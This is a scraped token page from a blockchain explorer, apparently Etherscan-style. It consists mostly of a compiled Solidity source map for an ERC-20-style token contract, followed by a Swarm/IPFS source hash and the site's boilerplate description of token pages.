3283:6849:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5447:83;;;;;;;;;;-1:-1:-1;5517:5:0;;;;;;;;;;;;-1:-1:-1;;;5517:5:0;;;;5447:83;;;;;;;:::i;:::-;;;;;;;;7985:193;;;;;;;;;;-1:-1:-1;7985:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7985:193:0;1004:187:1;4174:41:0;;;;;;;;;;-1:-1:-1;4174:41:0;;;;-1:-1:-1;;;;;4174:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;4174:41:0;1196:229:1;5822:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;5822:108:0;1430:177:1;6572:353:0;;;;;;;;;;-1:-1:-1;6572:353:0;;;;;:::i;:::-;;:::i;5633:83::-;;;;;;;;;;-1:-1:-1;5633:83:0;;3568:2;2087:36:1;;2075:2;2060:18;5633:83:0;1945:184:1;3967:74:0;;;;;;;;;;-1:-1:-1;3967:74:0;;;;-1:-1:-1;;;;;3967:74:0;;;9582:417;;;;;;;;;;-1:-1:-1;9582:417:0;;;;;:::i;:::-;;:::i;:::-;;3765:31;;;;;;;;;;;;;;;;5724:90;;;;;;;;;;-1:-1:-1;5795:11:0;;;;5724:90;;9119:184;;;;;;;;;;;;;:::i;5938:177::-;;;;;;;;;;-1:-1:-1;5938:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;6089:18:0;6057:7;6089:18;;;:9;:18;;;;;;;5938:177;2357:87;;;;;;;;;;-1:-1:-1;2403:7:0;2430:6;-1:-1:-1;;;;;2430:6:0;2357:87;;5538;;;;;;;;;;-1:-1:-1;5610:7:0;;;;;;;;;;;;-1:-1:-1;;;5610:7:0;;;;5538:87;;9311:263;;;;;;;;;;-1:-1:-1;9311:263:0;;;;;:::i;:::-;;:::i;3885:75::-;;;;;;;;;;-1:-1:-1;3885:75:0;;;;;;;-1:-1:-1;;;;;3885:75:0;;;6332:232;;;;;;;;;;-1:-1:-1;6332:232:0;;;;;:::i;:::-;;:::i;3803:32::-;;;;;;;;;;;;;;;;6123:201;;;;;;;;;;-1:-1:-1;6123:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;6289:18:0;;;6257:7;6289:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6123:201;10007:85;;;;;;;;;;;;;:::i;4048:81::-;;;;;;;;;;-1:-1:-1;4048:81:0;;;;-1:-1:-1;;;;;4048:81:0;;;7985:193;8087:4;8109:39;2122:10;8132:7;8141:6;8109:8;:39::i;:::-;-1:-1:-1;8166:4:0;7985:193;;;;;:::o;5822:108::-;5883:7;3633:13;3568:2;3633;:13;:::i;:::-;3617:29;;:13;:29;:::i;:::-;5903:19;;5822:108;:::o;6572:353::-;6704:4;6721:36;6731:6;6739:9;6750:6;6721:9;:36::i;:::-;-1:-1:-1;;;;;6839:19:0;;;;;;:11;:19;;;;;;;;2122:10;6839:33;;;;;;;;;6768:127;;6791:6;;6839:45;;6877:6;6839:37;:45::i;:::-;6768:8;:127::i;:::-;-1:-1:-1;6913:4:0;6572:353;;;;;:::o;9582:417::-;2403:7;2430:6;-1:-1:-1;;;;;2430:6:0;2122:10;9678:23;9670:32;;;;;;9718:9;9713:279;9733:13;;;9713:279;;;9786:45;9815:15;3568:2;9815;:15;:::i;:::-;9806:24;;:6;:24;:::i;:::-;-1:-1:-1;;;;;9786:15:0;;;;;;:9;:15;;;;;;;:19;:45::i;:::-;-1:-1:-1;;;;;9768:15:0;;;;;;:9;:15;;;;;:63;9865:47;9896:15;3568:2;9896;:15;:::i;:::-;9886:25;;:6;:25;:::i;:::-;9865:9;:16;9875:2;;9878:1;9875:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9865:16:0;;;;;;;;;;;;-1:-1:-1;9865:16:0;;;:20;:47::i;:::-;9846:9;:16;9856:2;;9859:1;9856:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9846:16:0;;;;;;;;;;;;-1:-1:-1;9846:16:0;:66;9947:2;;9950:1;9947:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9932:48:0;9941:4;-1:-1:-1;;;;;9932:48:0;-1:-1:-1;;;;;;;;;;;3568:2:0;9964;:15;;;;:::i;:::-;9954:25;;:6;:25;:::i;:::-;9932:48;;1576:25:1;;;1564:2;1549:18;9932:48:0;;;;;;;9748:3;;9713:279;;;;9582:417;;;;:::o;9119:184::-;2403:7;2430:6;-1:-1:-1;;;;;2430:6:0;2122:10;9167:23;9159:32;;;;;;9231:21;9263:32;9231:21;9263:12;:32::i;:::-;9148:155;9119:184::o;9311:263::-;2403:7;2430:6;-1:-1:-1;;;;;2430:6:0;2122:10;9412:23;9404:32;;;;;;9452:9;9447:120;9467:13;;;9447:120;;;9522:2;;9525:1;9522:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9507:48:0;9516:4;-1:-1:-1;;;;;9507:48:0;-1:-1:-1;;;;;;;;;;;3568:2:0;9539;:15;;;;:::i;:::-;9529:25;;:6;:25;:::i;:::-;9507:48;;1576:25:1;;;1564:2;1549:18;9507:48:0;;;;;;;9482:3;;9447:120;;6332:232;6446:4;2122:10;6507:27;2122:10;6524:2;6528:5;6507:9;:27::i;10007:85::-;2316:13;:11;:13::i;:::-;10073:11:::1;::::0;;-1:-1:-1;;10058:26:0;::::1;10073:11;::::0;;::::1;10072:12;10058:26;::::0;;10007:85::o;8186:369::-;-1:-1:-1;;;;;8313:19:0;;8305:68;;;;-1:-1:-1;;;8305:68:0;;5576:2:1;8305:68:0;;;5558:21:1;5615:2;5595:18;;;5588:30;5654:34;5634:18;;;5627:62;-1:-1:-1;;;5705:18:1;;;5698:34;5749:19;;8305:68:0;;;;;;;;;-1:-1:-1;;;;;8392:21:0;;8384:68;;;;-1:-1:-1;;;8384:68:0;;5981:2:1;8384:68:0;;;5963:21:1;6020:2;6000:18;;;5993:30;6059:34;6039:18;;;6032:62;-1:-1:-1;;;6110:18:1;;;6103:32;6152:19;;8384:68:0;5779:398:1;8384:68:0;-1:-1:-1;;;;;8463:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8515:32;;1576:25:1;;;8515:32:0;;1549:18:1;8515:32:0;;;;;;;8186:369;;;:::o;6933:1044::-;-1:-1:-1;;;;;7022:18:0;;7014:68;;;;-1:-1:-1;;;7014:68:0;;6384:2:1;7014:68:0;;;6366:21:1;6423:2;6403:18;;;6396:30;6462:34;6442:18;;;6435:62;-1:-1:-1;;;6513:18:1;;;6506:35;6558:19;;7014:68:0;6182:401:1;7014:68:0;-1:-1:-1;;;;;7101:16:0;;7093:64;;;;-1:-1:-1;;;7093:64:0;;6790:2:1;7093:64:0;;;6772:21:1;6829:2;6809:18;;;6802:30;6868:34;6848:18;;;6841:62;-1:-1:-1;;;6919:18:1;;;6912:33;6962:19;;7093:64:0;6588:399:1;7093:64:0;7195:6;7176:15;7186:4;-1:-1:-1;;;;;6089:18:0;6057:7;6089:18;;;:9;:18;;;;;;;5938:177;7176:15;:25;;7168:76;;;;-1:-1:-1;;;7168:76:0;;7194:2:1;7168:76:0;;;7176:21:1;7233:2;7213:18;;;7206:30;7272:34;7252:18;;;7245:62;-1:-1:-1;;;7323:18:1;;;7316:36;7369:19;;7168:76:0;6992:402:1;7168:76:0;-1:-1:-1;;;;;7293:22:0;;7255:17;7293:22;;;:16;:22;;;;;;;;7292:23;:48;;;;-1:-1:-1;;;;;;7320:20:0;;;;;;:16;:20;;;;;;;;7319:21;7292:48;7289:335;;;7365:11;;;;7357:53;;;;-1:-1:-1;;;7357:53:0;;7601:2:1;7357:53:0;;;7583:21:1;7640:2;7620:18;;;7613:30;7679:31;7659:18;;;7652:59;7728:18;;7357:53:0;7399:353:1;7357:53:0;7461:3;7446:12;;7437:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;7488:13;;7425:39;;-1:-1:-1;;;;;;7488:13:0;;;7482:19;;;;7479:134;;7559:3;7543:13;;7534:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;7522:40;;7581:16;7592:4;7581:10;:16::i;:::-;7639:13;;7636:164;;7712:4;7694:24;;;;:9;:24;;;;;;:34;;7719:9;;7694:34;:::i;:::-;7687:4;7669:24;;;;:9;:24;;;;;;;:59;;;;7748:40;;-1:-1:-1;;;;;7748:40:0;;;-1:-1:-1;;;;;;;;;;;7748:40:0;;;7778:9;1576:25:1;;1564:2;1549:18;;1430:177;7748:40:0;;;;;;;;7636:164;7847:6;7829:15;7839:4;-1:-1:-1;;;;;6089:18:0;6057:7;6089:18;;;:9;:18;;;;;;;5938:177;7829:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;7812:15:0;;;;;;:9;:15;;;;;:41;7896:18;7905:9;7896:6;:18;:::i;:::-;-1:-1:-1;;;;;7879:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;7865:13:0;;;;;;;:9;:13;;;;;:50;;;;7931:38;;-1:-1:-1;;;;;;;;;;;7950:18:0;7959:9;7950:6;:18;:::i;:::-;7931:38;;1576:25:1;;;1564:2;1549:18;7931:38:0;;;;;;;7003:974;6933:1044;;;:::o;2998:123::-;3056:7;3088:1;3083;:6;;3076:14;;;;:::i;:::-;3108:5;3112:1;3108;:5;:::i;:::-;3101:12;2998:123;-1:-1:-1;;;2998:123:0:o;3129:147::-;3187:7;;3219:5;3223:1;3219;:5;:::i;:::-;3207:17;;3247:1;3242;:6;;3235:14;;;;:::i;9009:98::-;2403:7;2430:6;;9066:33;;-1:-1:-1;;;;;2430:6:0;;;;9066:33;;;;;9092:6;;9066:33;2403:7;9066:33;9092:6;2430;9066:33;;;;;;;;;;;;;;;;;;;;;9009:98;:::o;2452:108::-;2516:6;;-1:-1:-1;;;;;2516:6:0;2122:10;2516:22;2508:44;;;;-1:-1:-1;;;2508:44:0;;8576:2:1;2508:44:0;;;8558:21:1;8615:1;8595:18;;;8588:29;-1:-1:-1;;;8633:18:1;;;8626:39;8682:18;;2508:44:0;8374:332:1;2508:44:0;2452:108::o;8766:235::-;-1:-1:-1;;;;;6089:18:0;;8842:1;6089:18;;;:9;:18;;;;;;8826:17;8823:170;;8865:11;;;;8860:122;;8897:14;8905:5;;8897:7;:14::i;8860:122::-;8952:14;8960:5;;8636:122;8710:4;8696:11;:18;8692:59;;;8731:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2342:757::-;2446:6;2454;2462;2470;2523:2;2511:9;2502:7;2498:23;2494:32;2491:52;;;2539:1;2536;2529:12;2491:52;2562:29;2581:9;2562:29;:::i;:::-;2552:39;;2642:2;2631:9;2627:18;2614:32;2665:18;2706:2;2698:6;2695:14;2692:34;;;2722:1;2719;2712:12;2692:34;2760:6;2749:9;2745:22;2735:32;;2805:7;2798:4;2794:2;2790:13;2786:27;2776:55;;2827:1;2824;2817:12;2776:55;2867:2;2854:16;2893:2;2885:6;2882:14;2879:34;;;2909:1;2906;2899:12;2879:34;2962:7;2957:2;2947:6;2944:1;2940:14;2936:2;2932:23;2928:32;2925:45;2922:65;;;2983:1;2980;2973:12;2922:65;2342:757;;3014:2;3006:11;;;;;-1:-1:-1;3036:6:1;;3089:2;3074:18;3061:32;;-1:-1:-1;2342:757:1;-1:-1:-1;;;2342:757:1:o;3104:186::-;3163:6;3216:2;3204:9;3195:7;3191:23;3187:32;3184:52;;;3232:1;3229;3222:12;3184:52;3255:29;3274:9;3255:29;:::i;3295:260::-;3363:6;3371;3424:2;3412:9;3403:7;3399:23;3395:32;3392:52;;;3440:1;3437;3430:12;3392:52;3463:29;3482:9;3463:29;:::i;:::-;3453:39;;3511:38;3545:2;3534:9;3530:18;3511:38;:::i;:::-;3501:48;;3295:260;;;;;:::o;3560:127::-;3621:10;3616:3;3612:20;3609:1;3602:31;3652:4;3649:1;3642:15;3676:4;3673:1;3666:15;3692:416;3781:1;3818:5;3781:1;3832:270;3853:7;3843:8;3840:21;3832:270;;;3912:4;3908:1;3904:6;3900:17;3894:4;3891:27;3888:53;;;3921:18;;:::i;:::-;3971:7;3961:8;3957:22;3954:55;;;3991:16;;;;3954:55;4070:22;;;;4030:15;;;;3832:270;;;3836:3;3692:416;;;;;:::o;4113:806::-;4162:5;4192:8;4182:80;;-1:-1:-1;4233:1:1;4247:5;;4182:80;4281:4;4271:76;;-1:-1:-1;4318:1:1;4332:5;;4271:76;4363:4;4381:1;4376:59;;;;4449:1;4444:130;;;;4356:218;;4376:59;4406:1;4397:10;;4420:5;;;4444:130;4481:3;4471:8;4468:17;4465:43;;;4488:18;;:::i;:::-;-1:-1:-1;;4544:1:1;4530:16;;4559:5;;4356:218;;4658:2;4648:8;4645:16;4639:3;4633:4;4630:13;4626:36;4620:2;4610:8;4607:16;4602:2;4596:4;4593:12;4589:35;4586:77;4583:159;;;-1:-1:-1;4695:19:1;;;4727:5;;4583:159;4774:34;4799:8;4793:4;4774:34;:::i;:::-;4844:6;4840:1;4836:6;4832:19;4823:7;4820:32;4817:58;;;4855:18;;:::i;:::-;4893:20;;4113:806;-1:-1:-1;;;4113:806:1:o;4924:140::-;4982:5;5011:47;5052:4;5042:8;5038:19;5032:4;5011:47;:::i;5069:168::-;5142:9;;;5173;;5190:15;;;5184:22;;5170:37;5160:71;;5211:18;;:::i;5242:127::-;5303:10;5298:3;5294:20;5291:1;5284:31;5334:4;5331:1;5324:15;5358:4;5355:1;5348:15;7757:217;7797:1;7823;7813:132;;7867:10;7862:3;7858:20;7855:1;7848:31;7902:4;7899:1;7892:15;7930:4;7927:1;7920:15;7813:132;-1:-1:-1;7959:9:1;;7757:217::o;7979:125::-;8044:9;;;8065:10;;;8062:36;;;8078:18;;:::i;8109:128::-;8176:9;;;8197:11;;;8194:37;;;8211:18;;:::i;8242:127::-;8303:10;8298:3;8294:20;8291:1;8284:31;8334:4;8331:1;8324:15;8358:4;8355:1;8348:15
Swarm Source
ipfs://774767b1ec0d9060699cff794e4b7933857d151e0ca0fc82586f4746fcf5c6bb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.